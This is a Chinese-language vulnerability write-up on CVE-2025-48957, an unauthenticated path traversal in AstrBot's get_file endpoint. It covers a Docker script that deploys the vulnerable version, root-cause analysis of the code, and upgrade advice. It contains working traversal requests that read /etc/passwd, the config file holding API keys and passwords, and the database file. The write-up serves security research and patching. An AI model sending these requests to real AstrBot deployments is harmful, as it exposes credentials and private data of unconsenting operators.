0x0 背景介绍

AstrBot是一个大型语言模型聊天机器人和开发框架。2025年7月,官方发布安全更新公告,披露 CVE-2025-48957 AstrBot get_file 文件读取漏洞,在 3.4.4 至 3.5.12 版本中存在路径遍历漏洞,可能导致信息泄露,例如 LLM 提供商的 API 密钥、账户密码和其他敏感数据。该漏洞已在 Pull Request #1676 中修复,并包含在 3.5.13 版本中。作为临时解决方案,用户可以编辑 cmd_config.json 文件以禁用仪表盘功能。然而,强烈建议升级到 v3.5.13 或更高版本以彻底解决此问题。

0x1 环境搭建

Ubuntu24+Docker搭建配置

#!/bin/bash

# 步骤1:项目创建和进入目录
echo "=== 步骤1/7:创建项目目录 ==="
PROJECT_DIR="astrbot-vulnerable"
mkdir -p $PROJECT_DIR && cd $PROJECT_DIR
echo "工作目录: $(pwd)"

# 步骤2:下载漏洞版本源码
echo -e "\n=== 步骤2/7:下载漏洞版本源码 ==="
SOURCE_URL="https://github.com/AstrBotDevs/AstrBot/archive/refs/tags/v3.5.12.zip"
SOURCE_FILE="v3.5.12.zip"

if [ ! -f $SOURCE_FILE ]; then
    echo "正在下载源码..."
    wget $SOURCE_URL -O $SOURCE_FILE
    if [ $? -ne 0 ]; then
        echo "下载失败!请检查网络连接"
        exit 1
    fi
    echo "下载完成"
else
    echo "源码文件已存在,跳过下载"
fi

# 步骤3:解压并重命名
echo -e "\n=== 步骤3/7:解压源码 ==="
unzip -o $SOURCE_FILE -d src
mv src/AstrBot-3.5.12 src/astrbot
echo "源码已解压到: src/astrbot"

# 步骤4:创建Dockerfile
echo -e "\n=== 步骤4/7:创建Dockerfile ==="
cat > Dockerfile <<'EOF'
FROM python:3.11-slim

# 安装系统依赖
RUN apt-get update && \
    apt-get install -y gcc python3-dev && \
    rm -rf /var/lib/apt/lists/*

# 设置工作目录
WORKDIR /app

# 复制源码到容器
COPY src/astrbot /app

# 安装Python依赖
RUN pip install --no-cache-dir -r requirements.txt

# 创建数据目录
RUN mkdir -p /app/data && \
    echo '{"api_key": "TEST-API-KEY", "users": ["admin"]}' > /app/data/cmd_config.json

# 暴露端口
EXPOSE 6185

# 启动命令
CMD ["python", "main.py"]
EOF

echo "Dockerfile 创建成功"

# 步骤5:构建Docker镜像
echo -e "\n=== 步骤5/7:构建Docker镜像 ==="
docker build -t astrbot-vulnerable:3.5.12 .
if [ $? -ne 0 ]; then
    echo "镜像构建失败!"
    exit 1
fi
echo "镜像构建成功: astrbot-vulnerable:3.5.12"

# 步骤6:运行容器
echo -e "\n=== 步骤6/7:运行容器 ==="
docker run -d \
  --name astrbot-vulnerable \
  -p 6185:6185 \
  -v "$PWD/data:/app/data" \
  --restart unless-stopped \
  astrbot-vulnerable:3.5.12

if [ $? -eq 0 ]; then
    echo "容器已启动: astrbot-vulnerable"
    echo "管理面板: http://localhost:6185 (用户名: astrbot, 密码: astrbot)"
else
    echo "容器启动失败!"
    exit 1
fi

# 步骤7:打印容器日志
echo -e "\n=== 步骤7/7:显示容器日志 ==="
echo "正在加载日志,按 Ctrl+C 退出查看..."
echo "--------------------------------------"
docker logs -f astrbot-vulnerable

# 执行环境部署脚本
chmod +x install.sh
./install.sh

#或者参考官方文档部署,较为简单 [官方使用方式](https://docs.astrbot.app/deploy/astrbot/docker.html)

在这里插入图片描述

在这里插入图片描述

0x2 漏洞复现

Xray-xpoc检测

https://gitee.com/songKl992/cve-series-update/blob/master/CVE/2025/AstrBot-cve-2025-48957-get_file.yml

复现截图

YMLj检测截图

复现流量特征 (PACP)

1、未授权接口读取/api/chat/get_file?filename=../../../../../../../etc/passwd

读取etc

2、读取配置文件,可以获取Key,User-Passwd/api/chat/get_file?filename=../../../data/cmd_config.json

读取config
响应敏感信息
3、读取数据库配置文件/api/chat/get_file?filename=../../../data/data_v3.db
数据库文件

0x3 漏洞原理分析

漏洞位置

漏洞位于 AstrBot-3.5.12/astrbot/dashboard/routes/chat.py 文件的 get_file 方法中:

async def get_file(self):
    filename = request.args.get("filename")
    if not filename:
        return Response().error("Missing key: filename").__dict__

    try:
        with open(os.path.join(self.imgs_dir, filename), "rb") as f:
            if filename.endswith(".wav"):
                return QuartResponse(f.read(), mimetype="audio/wav")
            elif filename.split(".")[-1] in self.supported_imgs:
                return QuartResponse(f.read(), mimetype="image/jpeg")
            else:
                return QuartResponse(f.read())

    except FileNotFoundError:
        return Response().error("File not found").__dict__

目录路径构造

self.imgs_dir = os.path.join(get_astrbot_data_path(), "webchat", "imgs")

其中 get_astrbot_data_path() 函数定义在 astrbot/core/utils/astrbot_path.py

def get_astrbot_data_path() -> str:
    """获取Astrbot数据目录路径"""
    return os.path.realpath(os.path.join(get_astrbot_root(), "data"))

def get_astrbot_root() -> str:
    """获取Astrbot根目录路径"""
    if path := os.environ.get("ASTRBOT_ROOT"):
        return os.path.realpath(path)
    else:
        return os.path.realpath(os.getcwd())

认证绕过

astrbot/dashboard/server.py 的认证中间件中,/api/chat/get_file 端点被列入了白名单:

async def auth_middleware(self):
    if not request.path.startswith("/api"):
        return
    allowed_endpoints = ["/api/auth/login", "/api/chat/get_file", "/api/file"]
    if any(request.path.startswith(prefix) for prefix in allowed_endpoints):
        return
    # ... 认证逻辑

漏洞根本原因

漏洞触发条件

  • 路径遍历攻击 攻击者可以通过 filename 参数传入包含 ../ 的路径来遍历目录,绕过预期的文件访问限制。

  • 无认证保护 该端点不需要认证即可访问,任何知道端点地址的攻击者都可以利用此漏洞。

  • 缺乏路径验证 代码使用 os.path.join() 直接拼接路径,没有进行路径规范化检查和边界验证。

0x4 修复建议

修复方案

  1. 升级到最新版本:升级到 v3.5.13 或更高版本。

  2. 临时防护措施:用户可以编辑 cmd_config.json 文件以禁用仪表盘功能

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

Logo

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。

更多推荐